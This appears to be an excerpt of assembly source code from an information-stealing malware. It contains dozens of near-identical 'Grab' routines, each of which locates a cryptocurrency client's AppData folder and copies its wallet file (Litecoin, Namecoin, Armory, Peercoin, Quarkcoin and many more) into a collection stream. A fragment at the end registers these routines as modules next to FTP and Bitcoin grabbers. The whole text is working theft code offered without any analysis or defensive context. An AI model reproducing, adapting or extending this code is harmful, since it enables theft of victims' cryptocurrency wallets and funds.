CLitecoinAppDataDir db '\Litecoin',0
.code
GrabLitecoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_LITECOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CLitecoinAppDataDir, offset CLitecoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabLitecoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Namecoin
; http://namecoin.info/
; Tested: 0.3.72
; SFTP: not supported
IFDEF COMPILE_MODULE_LITECOIN
.data
CNamecoinWalletFile db 'wallet.dat',0
CNamecoinAppDataDir db '\Namecoin',0
.code
GrabNamecoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_NAMECOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CNamecoinAppDataDir, offset CNamecoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabNamecoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Terracoin
; http://www.terracoin.org/
; Tested: v0.8.0.2
; SFTP: not supported
IFDEF COMPILE_MODULE_TERRACOIN
.data
CTerracoinWalletFile db 'wallet.dat',0
CTerracoinAppDataDir db '\Terracoin',0
.code
GrabTerracoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_TERRACOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CTerracoinAppDataDir, offset CTerracoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabTerracoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Bitcoin Armory
; https://bitcoinarmory.com/
; Tested: Version 0.90-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_BITCOINARMORY
.data
CBitcoinArmoryWalletFile db '.wallet',0
CBitcoinArmoryAppDataDir db '\Armory',0
.code
GrabBitcoinArmory proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_BITCOINARMORY, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CBitcoinArmoryAppDataDir, offset CBitcoinArmoryWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabBitcoinArmory endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; PPCoin (Peercoin)
; https://ppcoin.com/
; Tested: v.0.3.0ppc-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_PPCOIN
.data
CPPCoinWalletFile db 'wallet.dat',0
CPPCoinAppDataDir db '\PPCoin',0
.code
GrabPPCoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_PPCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CPPCoinAppDataDir, offset CPPCoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabPPCoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Primecoin
; http://primecoin.org/
; Tested: v0.1.2xpm-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_PRIMECOIN
.data
CPrimecoinWalletFile db 'wallet.dat',0
CPrimecoinAppDataDir db '\Primecoin',0
.code
GrabPrimecoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_PRIMECOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CPrimecoinAppDataDir, offset CPrimecoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabPrimecoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Feathercoin
; http://feathercoin.com/
; Tested: v0.6.4.4
; SFTP: not supported
IFDEF COMPILE_MODULE_PRIMECOIN
.data
CFeathercoinWalletFile db 'wallet.dat',0
CFeathercoinAppDataDir db '\Feathercoin',0
.code
GrabFeathercoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_FEATHERCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CFeathercoinAppDataDir, offset CFeathercoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabFeathercoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; NovaCoin
; http://novaco.in/
; Tested: v0.4.4.0-g32a928e-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_NOVACOIN
.data
CNovaCoinWalletFile db 'wallet.dat',0
CNovaCoinAppDataDir db '\NovaCoin',0
.code
GrabNovaCoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_NOVACOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CNovaCoinAppDataDir, offset CNovaCoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabNovaCoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Freicoin
; http://freico.in/
; Tested: v0.8.3.0-unk-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_FREICOIN
.data
CFreicoinWalletFile db 'wallet.dat',0
CFreicoinAppDataDir db '\Freicoin',0
.code
GrabFreicoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_FREICOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CFreicoinAppDataDir, offset CFreicoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabFreicoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Devcoin
; http://devcoin.org/
; Tested: version 0.3.25.1-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_DEVCOIN
.data
CDevcoinWalletFile db 'wallet.dat',0
CDevcoinAppDataDir db '\Devcoin',0
.code
GrabDevcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_DEVCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CDevcoinAppDataDir, offset CDevcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabDevcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Frankocoin
; http://frankos.org/
; Tested: v0.8.4.1-16-g5f1dafe-bet
; SFTP: not supported
IFDEF COMPILE_MODULE_FRANKOCOIN
.data
CFrankocoinWalletFile db 'wallet.dat',0
CFrankocoinAppDataDir db '\Franko',0
.code
GrabFrankocoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_FRANKOCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CFrankocoinAppDataDir, offset CFrankocoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabFrankocoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; ProtoShares
; http://invictus-innovations.com/protoshares
; Tested: v0.8.5.0-unk-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_PROTOSHARES
.data
CProtoSharesWalletFile db 'wallet.dat',0
CProtoSharesAppDataDir db '\ProtoShares',0
.code
GrabProtoShares proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_PROTOSHARES, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CProtoSharesAppDataDir, offset CProtoSharesWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabProtoShares endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Megacoin
; http://www.megacoin.co.nz
; Tested: v0.8.996.0MEGA-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_MEGACOIN
.data
CMegacoinWalletFile db 'wallet.dat',0
CMegacoinAppDataDir db '\Megacoin',0
.code
GrabMegacoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_MEGACOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CMegacoinAppDataDir, offset CMegacoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabMegacoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Quarkcoin
; http://www.quarkcoin.com/
; Tested: v0.8.3.0-g09e437b-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_QUARKCOIN
.data
CQuarkcoinWalletFile db 'wallet.dat',0
CQuarkcoinAppDataDir db '\Quarkcoin',0
.code
GrabQuarkcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_QUARKCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CQuarkcoinAppDataDir, offset CQuarkcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabQuarkcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; WorldCoin
; http://worldcoin.in
; Tested: v0.6.4.4-ga7433e7-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_WORLDCOIN
.data
CWorldCoinWalletFile db 'wallet.dat',0
CWorldCoinAppDataDir db '\Worldcoin',0
.code
GrabWorldcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_WORLDCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CWorldCoinAppDataDir, offset CWorldCoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabWorldcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Infinitecoin
; http://infinitecoin.com/
; Tested: v1.8.0.0
; SFTP: not supported
IFDEF COMPILE_MODULE_WORLDCOIN
.data
CInfinitecoinWalletFile db 'wallet.dat',0
CInfinitecoinAppDataDir db '\Infinitecoin',0
.code
GrabInfinitecoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_INFINITECOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CInfinitecoinAppDataDir, offset CInfinitecoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabInfinitecoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Ixcoin
; http://ixcoin.org/
; Tested: 0.3.24.30-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_IXCOIN
.data
CIxcoinWalletFile db 'wallet.dat',0
CIxcoinAppDataDir db '\Ixcoin',0
.code
GrabIxcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_IXCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CIxcoinAppDataDir, offset CIxcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabIxcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Anoncoin
; https://anoncoin.net
; Tested: v0.7.4b-5-gd36ff9d-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_IXCOIN
.data
CAnoncoinWalletFile db 'wallet.dat',0
CAnoncoinAppDataDir db '\Anoncoin',0
.code
GrabAnoncoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_ANONCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CAnoncoinAppDataDir, offset CAnoncoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabAnoncoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; BBQcoin
; http://bbqcoin.org/
; Tested: v0.6.3.0-unk-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_BBQCOIN
.data
CBBQcoinWalletFile db 'wallet.dat',0
CBBQcoinAppDataDir db '\BBQcoin',0
.code
GrabBBQcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_BBQCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CBBQcoinAppDataDir, offset CBBQcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabBBQcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Digitalcoin
; http://digitalcoin.co/en/
; Tested: v1.0.0.0-g3aaa7ba-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_DIGITALCOIN
.data
CDigitalcoinWalletFile db 'wallet.dat',0
CDigitalcoinAppDataDir db '\Digitalcoin',0
.code
GrabDigitalcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_DIGITALCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CDigitalcoinAppDataDir, offset CDigitalcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabDigitalcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; MinCoin
; http://www.min-coin.org/
; Tested: v0.6.5.0-g498f5d1-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_MINCOIN
.data
CMincoinWalletFile db 'wallet.dat',0
CMincoinAppDataDir db '\Mincoin',0
.code
GrabMincoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_MINCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CMincoinAppDataDir, offset CMincoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabMincoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; GoldCoin
; http://gldcoin.com/
; Tested: v0.7.1.6-gcf3abdf39d-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_GOLDCOIN
.data
CGoldcoinWalletFile db 'wallet.dat',0
CGoldcoinAppDataDir db '\GoldCoin (GLD)',0
.code
GrabGoldcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_GOLDCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CGoldcoinAppDataDir, offset CGoldcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabGoldcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; YaCoin
; http://www.yacoin.org/
; Tested: v0.4.0.0-g2nd-yac-wm-alpha
; SFTP: not supported
IFDEF COMPILE_MODULE_YACOIN
.data
CYacoinWalletFile db 'wallet.dat',0
CYacoinAppDataDir db '\Yacoin',0
.code
GrabYacoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_YACOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CYacoinAppDataDir, offset CYacoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabYacoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Zetacoin
; http://www.zeta-coin.org/
; Tested: v0.8.99.0-unk-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_ZETACOIN
.data
CZetacoinWalletFile db 'wallet.dat',0
CZetacoinAppDataDir db '\Zetacoin',0
.code
GrabZetacoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_ZETACOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CZetacoinAppDataDir, offset CZetacoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabZetacoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; FastCoin
; http://www.fastcoin.ca/
; Tested: v0.6.3.0-gc4135e8-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_FASTCOIN
.data
CFastcoinWalletFile db 'wallet.dat',0
CFastcoinAppDataDir db '\Fastcoin',0
.code
GrabFastcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_FASTCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CFastcoinAppDataDir, offset CFastcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabFastcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; i0coin
; http://i0coin.bitparking.com/
; Tested: 0.3.25.9-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_I0COIN
.data
CI0coinWalletFile db 'wallet.dat',0
CI0coinAppDataDir db '\I0coin',0
.code
GrabI0coin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_I0COIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CI0coinAppDataDir, offset CI0coinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabI0coin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Tagcoin
; http://tagcoin.org/
; Tested: v1.0.2
; SFTP: not supported
IFDEF COMPILE_MODULE_TAGCOIN
.data
CTagcoinWalletFile db 'wallet.dat',0
CTagcoinAppDataDir db '\Tagcoin',0
.code
GrabTagcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_TAGCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CTagcoinAppDataDir, offset CTagcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabTagcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Bytecoin
; http://www.bytecoin.biz/
; Tested: v0.8.1.1-gfdc7831-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_BYTECOIN
.data
CBytecoinWalletFile db 'wallet.dat',0
CBytecoinAppDataDir db '\Bytecoin',0
.code
GrabBytecoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_BYTECOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CBytecoinAppDataDir, offset CBytecoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabBytecoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Florincoin
; http://www.florincoin.org
; Tested: v0.6.5.8-unk-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_FLORINCOIN
.data
CFlorincoinWalletFile db 'wallet.dat',0
CFlorincoinAppDataDir db '\Florincoin',0
.code
GrabFlorincoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_FLORINCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CFlorincoinAppDataDir, offset CFlorincoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabFlorincoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Phoenixcoin
; http://phoenixcoin.org/
; Tested: v0.6.5.0
; SFTP: not supported
IFDEF COMPILE_MODULE_PHOENIXCOIN
.data
CPhoenixcoinWalletFile db 'wallet.dat',0
CPhoenixcoinAppDataDir db '\Phoenixcoin',0
.code
GrabPhoenixcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_PHOENIXCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CPhoenixcoinAppDataDir, offset CPhoenixcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabPhoenixcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Luckycoin
; https://cryptocointalk.com/forum/188-luckycoin-lky/
; Tested: v0.9.9.0
; SFTP: not supported
IFDEF COMPILE_MODULE_LUCKYCOIN
.data
CLuckycoinWalletFile db 'wallet.dat',0
CLuckycoinAppDataDir db '\Luckycoin',0
.code
GrabLuckycoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_LUCKYCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CLuckycoinAppDataDir, offset CLuckycoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabLuckycoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; CraftCoin
; http://craftcoin.net
; Tested: v1.1.1.2-unk-crc
; SFTP: not supported
IFDEF COMPILE_MODULE_CRAFTCOIN
.data
CCraftcoinWalletFile db 'wallet.dat',0
CCraftcoinAppDataDir db '\Craftcoin',0
.code
GrabCraftcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_CRAFTCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CCraftcoinAppDataDir, offset CCraftcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabCraftcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; JunkCoin
; http://jkcoin.com/
; Tested: v0.6.3.0-unk-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_JUNKCOIN
.data
CJunkcoinWalletFile db 'wallet.dat',0
CJunkcoinAppDataDir db '\Junkcoin',0
.code
GrabJunkcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_JUNKCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CJunkcoinAppDataDir, offset CJunkcoinWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabJunkcoin endp
ENDIF
Line 13229 (code addition):
AddModule COMPILE_MODULE_FASTTRACK, GrabFastTrack
AddModule COMPILE_MODULE_BITCOIN, GrabBitcoin
AddModule COMPILE_MODULE_ELECTRUM, GrabElectrum
AddModule COMPILE_MODULE_MULTIBIT, GrabMultiBit
AddModule COMPILE_MODULE_FTPDISK, GrabFTPDisk
AddModule COMPILE_MODULE_LITECOIN, GrabLitecoin
AddModule COMPILE_MODULE_NAMECOIN, GrabNamecoin
AddModule COMPILE_MODULE_TERRACOIN, GrabTerracoin
AddModule COMPILE_MODULE_BITCOINARMORY, GrabBitcoinArmory
AddModule COMPILE_MODULE_PPCOIN, GrabPPCoin
AddModule COMPILE_MODULE_PRIMECOIN, GrabPrimecoin
AddModule COMPILE_MODULE_FEATHERCOIN, GrabFeathercoin
AddModule COMPILE_MODULE_NOVACOIN, GrabNovaCoin
AddModule COMPILE_MODULE_FREICOIN, GrabFreicoin
AddModule COMPILE_MODULE_DEVCOIN, GrabDevcoin
AddModule COMPILE_MODULE_FRANKOCOIN, GrabFrankocoin
AddModule COMPILE_MODULE_PROTOSHARES, GrabProtoShares
AddModule COMPILE_MODULE_MEGACOIN, GrabMegacoin
AddModule COMPILE_MODULE_QUARKCOIN, GrabQuarkcoin
